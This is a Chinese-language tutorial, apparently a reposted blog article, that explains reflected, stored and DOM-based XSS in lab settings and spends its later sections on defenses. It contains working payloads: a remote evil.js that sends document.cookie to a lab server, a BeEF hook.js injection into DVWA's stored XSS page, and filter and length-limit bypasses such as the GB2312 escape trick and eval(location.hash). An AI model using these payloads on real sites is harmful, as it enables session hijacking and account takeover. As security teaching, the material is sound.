一、XSS简述
XSS攻击是指黑客通过“HTML注入”篡改网页,插入恶意的脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
跨站脚本攻击(XSS)是客户端安全的头号大敌,OWASP TOP 10多次把xss列在榜首。
1.1 什么是XSS
假设一个用户输入的参数直接输出到页面上
<?php $input = $_GET["test"]; echo "".$input.""; ?>
访问此php界面,想test参数提交数据,页面会展示提交的数据内容
上面我们可以看到和我们猜想的一样。
如果我们提交的数据改为一段js代码
我们看到script脚本被执行,我们在看一下源代码
<script>alert(/test!!!/)</script>
script脚本被加载到页面中,这显然是有问题的。
1.2 XSS分类
XSS根据效果可以分为三类:
反射型XSS
我们上面的例子就是反射型的xss,就是把用户输入的数据“反射”给浏览器,也就是说,用户在访问恶意链接时,才能攻击成功,反射型xss也叫做非持久性xss。
存储型XSS
存储型xss会把用户输入的数据存储在服务器端,这种sxx具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss"
DOM XSS
这类XSS非按照数据是否保存在服务的来划分的,DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。
1.3 DOM XSS漏洞演示
通过修改页面的DOM节点形成的xss,称之为DOM XSS
看如下代码
<script> function test(){ var str = document.getElementById("test").value; document.getElementById("t").innerHTML = "testLink"; } </script> <input type="text" id="test" value="" /> <input type="button" id="s" value="write" οnclick="test()" />
点击wirte会有一个超链接,其地址为文本框的内容。
这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作html写入到页面中,这就造成了DOM based XSS。
构造如下数据
' οnclick=alert(/xss/) //
输入之后界面代码局变成了
<a href='' οnclick=alert(/xss/) //' >testLink</a>
首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后用注释符“//”注释掉单引号。点击新生连接,脚本将被执行。
实际上,这里还有另外一种利用方式,除了构造一个新事件外,还可以选择闭合掉标签,并插入一个新的HTML标签。尝试如下输入
'><img src=# onerror=alert(/xss1/) />
页面代码变成了
<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>
脚本被执行
二、XSS攻击进阶
2.1 初探XSS Payload
XSS攻击成功后,攻击者能过对用户当前浏览的页面进行植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些以完成各种功能的恶意脚本,被称为“XSS Payload”
XSS Payload实际上就是javascript(flash或其他富客户端的脚本),所以在任何JavaScript脚本能实现的功能,xxs payload都能做到。
2.1.1 Cookie 劫持
cookie中一般加密保存了当前用户的登录凭证。攻击者如果获取cookie就可以不通过密码登录平台
攻击者加载一个远程脚本
http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>
真正xxs payload写在这个远程脚本中,避免直接在url中写入大量的javascript代码
evil.js文件
var img = document.createElement("img");
img.src = "http://192.168.163.143/log?" +escape(document.cookie);
document.body.appendChild(img);
这段是插入一个看不到的图片,同时把document.cookie对象当作参数发送到远程服务器。,实际上http://192.168.163.143/log不用存在,因为这个请求会在远程服务器上的web日志中记录
tail -f /var/log/apache2/access.log
2.1.2 cookie登录
首先管理员用户登录cms测试平台
F12在控制台输入
document.cookie
登录test用户,使用burp拦截请求包,将cookie修改为admin用户的cookie
放开拦截,我们发现test变为admin用户
所以xss攻击,可以完成cookie劫持攻击。我们一般通过在cookie中增加httponly标识可以防止cookie劫持。
2.2 强大的XSS Payload
ciooke劫持并非所有时候都有效,有的网站可能会在set-cookie时给关键cookie植入HttpOnly标识;有些网站可能会把cookie与客户端IP绑定。从而是的xss窃取cookie失去意义。
尽管如此,在xss攻击成功后,攻击者仍然有许多方式能控制用户的浏览器
1、构造GET与POST请求
2、使用XSS钓鱼,模拟一个登录窗口等。
3、识别用户浏览器
我们可以通过xss收集一些用户个人信息,实现精准的浏览器内存攻击,最终实现给电脑注入一个木马。
navigator.userAgent
OS版本信息:Windows NT 6.1; Win64; x64
浏览器版本:Chrome 101.0.4951.64
但是这个useragent信息是可以伪造的,所以通过javascript取出来的这个信息不一定正确。
4、识别用户安装的软件
知道用户的浏览器、操作系统后,进一步识别用户安装的软件。
5、CSS History Hack
其原理市利用style的visited属性,如果用户曾经访问某个连接,那么这个链接的颜色会变得与众不同。
<body>
<a href=# > 曾经访问过的 </a>
<a href="notexist">未曾访问过的</a>
</body>
6、获取用户的真实IP地址
2.3 XSS攻击平台
xss payload如此强大,为了方便,安全研究者将许多功能封装起来,成为xss攻击平台。
AttackApi是一个用于XSS攻击的JS库,你不用再写那些繁琐的涉及到各种标签各种dom各种系统各种浏览器的基础代码,直接调用AttackAPI为你封装好的那些函数即可。
2.3.1 Beefxss工具演示
工具介绍
BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能。
BeEF-XSS生成交互paylaod的hook
服务器端:beef作为服务端管理,管理访问运行了hook的客户端
客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload。
beef将运行了hook的web浏览器钩住,进行管理
beef能配合xss,将hook插入到存在xss的注入处;直接诱使客户端访问含有 hook 的伪造站点,结合中间人攻击注入 hook 脚本
工具下载
beef只支持Linux平台,Ruby的版本需要在2.5以上,kali中自带beef
下载:
git clone https://github.com/beefproject/beef
安装配置查看:
https://github.com/beefproject/beef/wiki/Installation
beef如果用于实战的话,需要建立连接的时候要使受害机能访问到beef,因此需要一个公网ip。
使用测试
kali攻击者:192.168.163.128
DVWA靶机:192.168.163.131
1、更该beef的默认用户名密码
vi /etc/beef-xss/config.yaml
beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值,(默认是修改密码的,不然启动的时候会报警告)。
启动beef服务端
beef-xss
beef的服务端地址,用户密码为默认的beef,密码为你自己修改之后的密码
http://127.0.0.1:3000/ui/panel
登录成功后,这里会显示在线和不在线的主机,在线就是现在该主机浏览器执行了我们的js脚本代码,不在线的就是该主机曾经执行过我们的js脚本代码,但现在关掉了该界面。
插入脚本hook到靶机
我们的hook启动的时候已经给出:
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
kali的地址为192.168.163.128,那么靶机上插入的hook js脚本为:
<script src="http://192.168.163.128:3000/hook.js"></script>
在靶机DVWA,把"DVWA security"等级改成"low",然后打开"XSS stored",把我们的脚本代码存储起来。这样就形成了一个存储型XSS,当受害者(windows 7)浏览该页面时,就被劫持了。
留言提交后,靶机的浏览器就被beef钩上了:
beef管理
在beef上钩了的受害机,beef对其可以获取很多主机、浏览器信息
1、Details是浏览器信息详情
2、logs模块-日志记录
3、commands-命令模块
主要模块
-Browsers(浏览器)
- Exploits(攻击)
- Host(主机)
- Persistence(持久)
- Network(网络)
绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见
红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行
橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)
灰色圆圈:模块未在目标浏览器上测试过
XSS-Proxy
是一个轻量级的XSS攻击平台,通过嵌套iframe的方式可以实时地远程控制被XSS攻击的浏览器
2.4 XSS Worm
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发生xss worn攻击。比如:用户留言,个人信息等
2.5 XSS构造技巧
2.5.1 利用字符编码
在使用GB2312编码的网页上,script标签输出一个变量,提交输入的是 “;alert(/xss/)” 来实现xss攻击,使用 " 来闭合前面的符号,但是页面转义了双引号,所以实际代码如下:
let redirectUrl = "\";alert(/xss/);";
正常情况下这样是没发引起xss的,因为变量处于双引号之内,系统转义了双引号。
但在使用GB2312编码页面中, “%c1\”两个字符组合在一起会成为一个unicode字符,于是可以构造输入
let redirectUrl = "%c1\";alert(/xss)";
提交之后,通过GB2312编码转义就会变成
let redirectUrl = "繺";alert(/xss/);
刚好把“\”给覆盖掉。
"%c1" 这两个字符组成一个新的unicode字符,"%c1" 把转义符"\“ 给吃掉了,从而绕过了系统的安全检查。
2.5.2 绕过长度限制
很多时候,产生xss的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的,假设下面代码存在一个xss漏洞
<input type=test value="$var" />
服务器如果对输入变量”$var“ 做了严格的长度限制,那么攻击者可能会这样xss
$var为:"><script>alert(/xss/)</script>
希望达到的输入效果是
<input type=test value=""><script>alert(/xss/)</script> />
假设长度限制为20个字符,则这段xss会被切割为
$var 输入为:"><script>alert(/xss
连一个完整的函数都无法写完,这样就xss就可能无法成功了。
但是攻击者可以利用事件来缩短所需要的字符数
$var 输出为:" onclick=alert(1)//
加上空格符正好20个字符,实际输出为
<input type=test value="" onclick=alert(1)//" />
当用户点击文本框后,alert执行
利用事件能够缩短的字节数是有限的,最好的办法就是把xss payload写到别处,在通过简短的代码加载这段xss payload
通常的一个藏代码的地方就是 location.hash。而且跟进http协议,location.hash的内容不会在http包中发送,所以服务端web日志中不会记录location.hash里的内容。
注:hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
$var 输出为:" onclick="eval(location.hash.substr(1))
总40个字节。输出后的html是:
<input type=test value="" onclick="eval(location.hash.substr(1))" />
因为location.hash的第一个字符是#,substr(1)是从1开始,不是从0开始,,此时构造出来的url为
http://127.0.0.1/1.html#alert(1)
location,hash本身没有长度限制,但浏览器的地址栏有长度限制,如果地址栏长度不够用,还可以使用加载远程js的方法。
2.5.3 注释符绕过长度限制
比如我们可能控制两个文本框,第二个文本框允许我们写入更多字节。我们可以通过注释符号把两个文本框之间的HTML代码全部注释掉,从而打通两个标签。
<input id=1 type="text" value="" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="" />
在第一个input框中输入
"><!--
在第二个input框中输入
--><script>alert(/xx/)</script>
最终效果
<input id=1 type="text" value=""><!--" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="--><script>alert(/xx/)</script>" />
中间代码全部被注释
<!--" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="-->
最终效果如下
2.5.4 使用< base>标签
< base>标签并不常用,作用是定义界面上的一个所有相对路径 标签的hosting地址。
比如,打开一张不存在的图片
<body>
<img src="/test/1.png">
</body>
实际上这个地址是一张图片,源地址
http://127.0.0.1/test/1.png
在img标签前面添加一个base标签
<body>
<base href="http://127.0.0.1" />
<img src="/test/1.png">
</body>
base标签可以出现在页面的任何地方,并作用于位于该标签之后的所以标签。
如果攻击者在页面插入了base标签,就可以通过远程服务器伪造图片,连接或者脚本。劫持当前页面中所有使用相对路径的标签。比如:
<base href="http://www.a.com" />
<img src="/test/1.png">
<script src="x.js"></script>
<a href="auth.do">auth</a>
所以涉及xss安全方案一定要过滤掉这个非常危险的标签。
2.5.5 window.name 的妙用
对当前窗口的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而非document对象,因此很多时候,windwo对象不受同源策略的限制。攻击者利用这个对象可以实现跨域、跨界面传递数据。在某些环境下,这些特性将会变得非常有用。
假设“http://192.168.114.130/1.html”的代码为
<body>
<script>
window.name = "test"
alert(document.domain+" "+window.name)
window.location = "http://192.168.163.128/index.html"
</script>
</body>
这段代码将window.name赋值为test,然后显示当前域和window.name的值,最后将其页面跳转到“http://192.168.163.128/index.html”。
“http://192.168.163.128/index.html”的代码为
<body>
<script>
alert(document.domain+" "+window.name)
</script>
</body>
我们访问“http://192.168.114.130/1.html”,这里显示了当前域和windows.name值
点击确定后,页面自动跳转到“http://192.168.163.128/index.html”,但是winsow.name值没变
这个过程实现了数据跨域传递:test这个值从http://192.168.114.130传递到了http://192.168.163.128。
使用windo.name可以缩短xss payload的长度。先通过window.name写好alert(”hello“)之类的语句,再在同一窗口打开XSS站点后,输入 eval(name);
2.6 反射型XSS利用技巧-回旋镖
将要利用的反射型XSS嵌入到一个存储型XSS中,这个攻击技巧称为回旋镖。
因为浏览器同源策略的原因,xss也受到同源策略的限制,发生在A域的xss很难影响到B域的用户。
回旋镖的思路:如果在B域上存在一个反射型”xss_b“,在A域上存在一个存储型”xss-a",当用户访问A域的“xss-a"时,同时嵌入B域上的"xss-b",则可以达到在A域的xss攻击B域用户的目的。
IE浏览器中,< iframe>、< img>、< link>等标签都会拦截第三方cookie的发送。而在firefox中则无这限制(第三方cookie既指保存在本地的cookie,也就是服务器设置了expire(失效日期)时间的cookie。
所以在firefox中只需要在XSS-A处嵌入一个iframe标签即可
<iframe src="http://www.b.com/?xss......"></iframe>
而在IE浏览器中,使用< form>表单,然后提交到B,B再跳转会A;
2.7 Flash XSS
前面说的都是基于HTML的xss,其实Flash中同样可能造成xss攻击。
在Flash中是可以嵌入ActionScript脚本的,常见的Flash xss可以这样写
getURL("javascript:alert(document.cookie)")
ActionScript可以发起网络连接,因此应该禁止用户能够上传或者加载自定义Flash文件。
一定要使用Flash,如果是视频文件,要求转码为”flv“文件,flv是静态文件,不会产生隐患。如果是带动态脚本的Flash,则可以通过Flash参数进行限制。
限制Flash动态脚本的最重要参数是”allowScriptAcccess“,这个参数定义了Flash能否域HTML页面通信,他有三个可选值:
always : 对于HTML的通信也就是执行JavaScript不做任何限制。
sameDomain: 只允许来自于本域的Flash于HTML通信,这是默认值。
never: 绝对禁止Flash与页面通信。
除了allowScriptAccess外,allowNetworking也是非常关键,这个参数可以控制Flash与外部网络通信,他有三个可选值:
all : 允许使用所有网络通信,默认值
internal :Flash不能与浏览器通信如nacigateToURL,但是可以调用其他的API
none : 禁止任何的网络通信
2.8 JavaScript开放框架
jQuery可能是目前最流行的javaScript框架。jQuery中有一个html()方法,这个方法如果没有参数,就是一个读取DOM节点的innerHTML,如果有参数,则会把参数写入该DOM节点的inner HTML中,这个过程可能产生” DOM Based XSS"
$('div.demo-container').html("<img src=# onerror=alert(1) />");
如上,如果用户能够控制输入,必然存在xss。
三、XSS防御
xss的防御是复杂的
流行浏览器都内置了一些对抗xss的措施,比如Firefox的CSP、Noscript扩展,IE8内置的XSS Filter等。而对于网站来说,也应该有保护用户不被xss攻击的能力。
3.1 HttpOnly
HttpOnly最早是由微软提出,并在IE6实现,逐步称为一个标准,浏览器将禁止页面的javascript访问带有HttpOnly属性的cookie。
其中IE6+、firefo、chrome很多浏览器现在都具备了。
严格地说HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持攻击。
前面我们显示过cookie劫持后。可以登录被劫持后的xss用户。如果该cookie设置了HttpOnly,这种攻击就会失败,因为JavaScript取不到cookie的值。
一个cookie的使用过程如下:
step1: 浏览器向服务器发起请求,这时候没有cookie。
step2 : 服务器返回时发送set-cookie,向客户端浏览器写入cookie。
step3: 在该cookie到前期,浏览器访问该域下的所有界面,都将发送该cookie。
HttpOnly是在set-cookie时标记的
set-cookie:<name>=<value>......[; secure] [; HttpOnly]
服务器可能会设置多个cookie(对应key-value对),而HttpOnly可以选择性的添加任何一个cookie值上。
某些时候,应用可能需要javaScript访问某几项cookie,这种cookie可以不设置HttpOnly标签,而仅把HttpOnly标记用于认证的关键cookie。
HttpOnly的使用非常灵活,如下是一个使用HttpOnly的过程
<?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);
?>
<script>
alert(document.cookie);
</script>
在这段代码中,cookie1没有httponly,cookie2被标记为HttpOnly。我们查看请求包
浏览器的确接收了两个cookie
但是只有cookie1被JavaScript读取到
添加了HttpOnly不等于解决了xss问题,xss攻击还有窃取用户信息,模拟用户身份执行操作等。
3.2 输入检查
常见的web漏洞如XSS、SQL注入等,都是要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以就有了检查的必要。
输入检查的代码一定要在服务器端实现,因为如果在客户端使用JavaScript进行输入检查,很容易绕过检查。正常做法是客户端和服务端实现相同的输入检查,客户端可以阻挡大部分错误操作的正常用户,可以节约服务器的资源。
输入检查一般都是检查用户输入的数据中是否包含一些特殊字符,如<,#等,比较智能的,还会匹配xss的特则,如JavaScript,< img>等敏感字符。
这种输入检查方式可以称为“XSS Filter",互联网上很多开源的“XSS Filter"源码。
XSS Filter在用户提交数据时获取变量,并进行xss检查。但此时用户数据并没有结合渲染界面的html,因此XSS Filter对语境的理解并不完整。
如下:
<script src="$var"></script>
$vat就是用户可以控制的变量,用户只要提交一个恶意脚本所在的uel地址,就可以试试xss攻击了。
所以XSS Filter对语境的理解并不完整,很可能改变用户原来的意思。
3.3 输出检查
一般来说出来富文本的输出外,在变量输出到html页面时,可以使用编码或者转义方式来防御xss攻击。
3.3.1 安全的编码函数
编码分为很多种,针对HTML代码的编码方式为HTMLEncode。
HTMLEndo并非专用名词,他只是一种函数实现,他的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。
为了对抗xss,在HTMLEncode中要求至少转化一下字符:
& - &
< - <
> - >
" - "
' - '
/ - /
在php中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。
JavaScript的编码方式可以使用JavaScriptEncode。
JavaScriptEncode需要使用 \ 对特殊字符进行转义。在对抗xss时候,还要去输出变量必须在引号内部。
var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"';
如果escapeJavascript()函数只转义了几个危险的字符,比如‘ 、“、<、>等,那么上面两行代码输出后可能会变成
var x = 1;alert(2);
var y = "1;alert(2)";
第一行执行额外的代码了,第二行是安全的,对于后者,攻击者即使向逃逸出引号的范围,也会遇到困难。
var y = "\";alert(1);\/\/";
所以要求使用JavaScriptEncode的变量出输出一定要去引号内。
还有一个更加严格的JavaScriptEncode函数来保证安全-除了数字、字母外的所有字符,都使用十六进制“\xHH"方式进行编码,如下
var x = 1;alert(2);
变成了
var x = 1\x3balert\x2822\x29;
除了以上函数,还有其他函数,比如:XMLEncode(其实现与HtmlEncode类似)、JSONEncode(与JavaScriptEnde类似)等。
3.3.2 只需要一种编码吗
XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。
python开放框架Django自带的模板系统“Django Templates"中,可以使用escape进行HtmlEncode。比如:
{{var|escape}}
这样写变量会被HtmlEncode编码。
在Django1.0、web2py框架中加强,默认所有变量都会被escape。符合“Secure By Default”原则。
因为语境不同,不是全部都使用auto-escape就可以,需要根据情况分情况对待。
注:经典MVC模式中,M是指业务模型,V是指用户界面,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面。
3.4 正确地防御XSS
XSS本质是一种HTML注入,用户的数据被当作HTML代码的一部分,从而混淆原来的语义,产生新的语义。
如果网站时MVC架构,那么XSS就发生在View层,在应用拼接变量到HTML页面时产生。所以在提交数据处进行输入检查的方案,其实并不是在真正发生攻击的地方做防御。
我们尝试将不同场景的xss一一列出,尝试解决
下面变量$var 表示用户数据。
3.4.1 在HTML标签中输出
<div>$var</div>
<a href=#>$var</a>
所有在标签中输出的变量,如果未做任何处理,都能导致直接产生XSS。
此场景下,XSS的利用方式一般都是构造一个< script>标签,或者是任何能够产生脚本执行的方式。
<div><script>alert(/xss/)</script></div>
或
<a href=#><img src=# onerror=alert(1) /></a>
防御方法
对变量使用HtmlEncode。
3.4.2 在HTML属性中输出
<div id="abc" name="$var" ></div>
与在HTML标签中输出类似,可能的攻击方法
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防御方法
对变量使用HtmlEncode。
3.4.3 在script标签中输出
在script标签中输出时,首先应该确保输出的变量在引号中
<script>
var x = "$var";
</script>
攻击者需要先闭合引号才能试试xss攻击
<script>
var x = "”alert(/xss/);//";
</script>
防御方法
对变量使用JavascriptEncode。
3.4.4 在事件中输出
在事件中输出和在< script>标签中输出类似
<a href=# onclick="funcA('$var')">test</a>
可能的攻击方法
<a href=# onclick="funcA('');alert(/xss/);//')">test</a>
防御方法
对变量使用JavascriptEncode。
3.4.5 在css中输出
在CSS和style、style attribute中形成的xss方式非常多样化。
防御方法
尽可能禁止用户可控制的变量在< style>标签、HTML标签的style属性以及CSS文件中输出。如果一定有这种需求,则推荐使用OWASP ESAPI中的encodeForCSS函数,此函数除了字母、数字外的所有字符都被编码成为十六进制形式“\uHH”。
3.4.6 在地址中输出
在URL的path(路径)或者search(参数)中输出使用urlEncode即可。URLEncode会将字符转化为%HH形式,比空格就是“%20”等。
<a href="http://www.a.com/?test=$var">test</a>
可能的攻击方法
<a href="http://www.a.com/?test=" onclick=alert(1)"" >test</a>
经过URLEncode编码后
<a href="http://www.a.com/?test=%22%20onclick%3Dalert(1)%22" >test</a>
还有一种是url的http://(protocal部分)和IP地址(host部分)不能使用urlEncode转发的情况
攻击者伪造协议实施攻击
<a href="JavaScript:alert(1)">test</a>
还有vbscript、dataURL等伪协议可能导致脚本执行。
防御方法
这种情况下如果变量是整改url,则先检查变量是否以http开头,保障不会出现伪协议的xss攻击。在对变量进行URLEncode。
3.5 处理富文本
部分网站允许用户提交一些自定义的HTML代码,称为富文本。
富文本,应严格禁止< iframe>、< script>等标签,只允许< a>、< img>等比较安全的标签,在标签选择上,应该使用白名单、避免使用黑名单。
富文本在处理CSS时,尽可能的禁止用户自定义css与style。
有些开源的XSS Filter项目,可以实现对富文本的xss检查。
3.6 防御DOM Based XSS
DOM Based XSS是一种比较特殊的xss漏洞,前文中提到的几种防御方法都不太合适,需要特别对待
我们看一下之前的例子,看一下DOM Based XSS是如何形成的呢
<script>
function test(){
var str = document.getElementById("test").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />
在上面代码onclick事件中,执行了test()函数,而函数中最关键的一句是
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
将HTML代码写入DOM节点,最后导致xss的发生
事实上,DOM Based XSS是从JavaScript中输出数据到HTML页面里,而前文提到的方法都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此不适用DOM Based XSS。
看一下这个例子
<script>
var x = "$var";
document.write("<a href='"+x+"'>test</a>");
</script>
变量$var在script标签内,可是最后又被document.write输出到HTML界面中。
假设为了保护$var,直接在script标签内产生xss,服务器对其进行javascEscape。可是,$var在document.write时,然仍然能够产生xss
<script>
var x = "\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
document.write("<a href='"+x+"'>test</a>");
</script>
通过javascEscape编译,但通过HTML界面渲染后,恶意代码又被识别出来
其原因,第一次执行JavaScriptEscape后,只保护了
var x = "$var";
但是当document.write输出数据到html页面时,浏览器渲染了界面,在< script>标签执行时,已经对变量x进行了界面,在document.write在运行时,其参数变成了
document.write("<a href=' 'onclick=alert(1);//''>test</a>");
XSS因此产生。
那是不是对$var函数用错了编码方式,我们使用htmlEncode,将 Html 源文件中不允许出现的字符进行编码。例如:"<"、">"、"&" 等。
<script>
var x = "1");alert("2");//""";
document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>");
</script>
防御方法
在$var输出到< script>标签时,应该执行一次JavaScriptEncode,其次在document.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则再做一次JavaScriptEncode,如果是输出到HTML内容或者属性,则要做一次HtmlEncode。也就是说从JavaScript输出到HTML页面,也等于一次xss输出的过程,需要分语境使用不同的编码。
会触发DOM Based XSS的地方很多,下面是JavaScript输出到HTML页面的必经之路
document.write()
document.writeln()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
......
除了服务器端直接输出变量到JavaScript外,还有以下几个地方可能会成为DOM Based XSS的输入点。
页面中所有inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的数据
......
四、总结
本章从主要是从认识xss、xss payload、xss构造技巧和xss防御方法详细讲述了三类(反射型、存储型、DOM型)XSS漏洞。一般来说存储型的威胁最大,因为可能会跨页面存在也反射型和DOM则需要攻击者诱使用户点击一个包含xss代码的URL连接。理论上,xss漏洞虽然复杂,但却是可以彻底解决的。需要针对不同场景使用不同的防御方法。
版权归原作者 菜鸟小权权 所有, 如有侵权,请联系我们删除。